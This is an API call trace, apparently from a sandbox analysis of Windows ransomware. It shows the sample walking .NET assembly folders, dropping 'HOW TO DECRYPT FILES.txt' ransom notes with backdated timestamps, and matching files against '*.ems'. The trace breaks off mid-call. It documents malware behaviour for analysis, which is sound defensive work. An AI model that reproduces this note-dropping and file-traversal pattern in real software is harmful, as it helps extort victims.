lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.PowerPoint" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint" [0100.831] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c666f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c666f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c666f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.832] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.832] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c666f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c666f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c666f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.832] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.832] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.832] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6145f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c666f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c666f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.832] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.832] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.832] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\*.*") returned="*.*" [0100.832] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c" [0100.832] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6145f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c666f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c666f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.837] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.837] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6145f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c666f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c666f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.837] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.837] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.837] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d038970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d038970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.PowerPoint.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.837] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.837] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.PowerPoint.config") returned -1 [0100.837] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.PowerPoint.config") returned -1 [0100.837] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.PowerPoint.config") returned -1 [0100.837] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.837] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\" [0100.838] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.838] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.838] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.powerpoint\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.838] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.powerpoint\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.841] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.841] CloseHandle (hObject=0x90) returned 1 [0100.841] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.PowerPoint.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.PowerPoint.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.PowerPoint.config" [0100.841] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.ems") returned 0 [0100.842] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a6145f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a6145f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a6145f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.PowerPoint.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.842] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.842] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.PowerPoint.dll") returned -1 [0100.842] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.PowerPoint.dll") returned -1 [0100.842] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.PowerPoint.dll") returned -1 [0100.842] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.PowerPoint.config") returned="Policy.11.0.Microsoft.Office.Interop.PowerPoint.config" [0100.842] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\" [0100.842] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.842] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.842] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.powerpoint\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.842] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.PowerPoint.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.PowerPoint.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.PowerPoint.dll" [0100.842] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.PowerPoint.dll", pszSpec="*.ems") returned 0 [0100.843] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a6145f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a6145f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a6145f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.PowerPoint.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.843] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.843] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6145f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c666f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c666f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.843] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.843] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.Publisher") returned -1 [0100.843] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.Publisher") returned -1 [0100.844] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.844] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Publisher" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher" [0100.844] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c8c850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.844] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.845] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.845] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.845] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.845] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.845] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\*.*") returned="*.*" [0100.845] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c" [0100.845] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a76b250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.848] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.848] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.848] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.849] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.849] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Publisher.config") returned -1 [0100.849] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Publisher.config") returned -1 [0100.849] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Publisher.config") returned -1 [0100.849] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.849] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\" [0100.849] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.849] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.849] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.publisher\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.849] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.publisher\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.853] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.853] CloseHandle (hObject=0x90) returned 1 [0100.853] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Publisher.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Publisher.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Publisher.config" [0100.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Publisher.config", pszSpec="*.ems") returned 0 [0100.853] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.854] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Publisher.dll") returned -1 [0100.854] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Publisher.dll") returned -1 [0100.854] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Publisher.dll") returned -1 [0100.854] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Publisher.config") returned="Policy.11.0.Microsoft.Office.Interop.Publisher.config" [0100.854] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\" [0100.854] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.854] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.854] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.publisher\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.854] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Publisher.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Publisher.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Publisher.dll" [0100.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Publisher.dll", pszSpec="*.ems") returned 0 [0100.855] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.855] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.855] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.SmartTag") returned -1 [0100.855] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.SmartTag") returned -1 [0100.855] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.855] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.SmartTag" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag" [0100.855] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa651c390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa65424f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65424f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.856] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.856] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.856] lstrcmpA 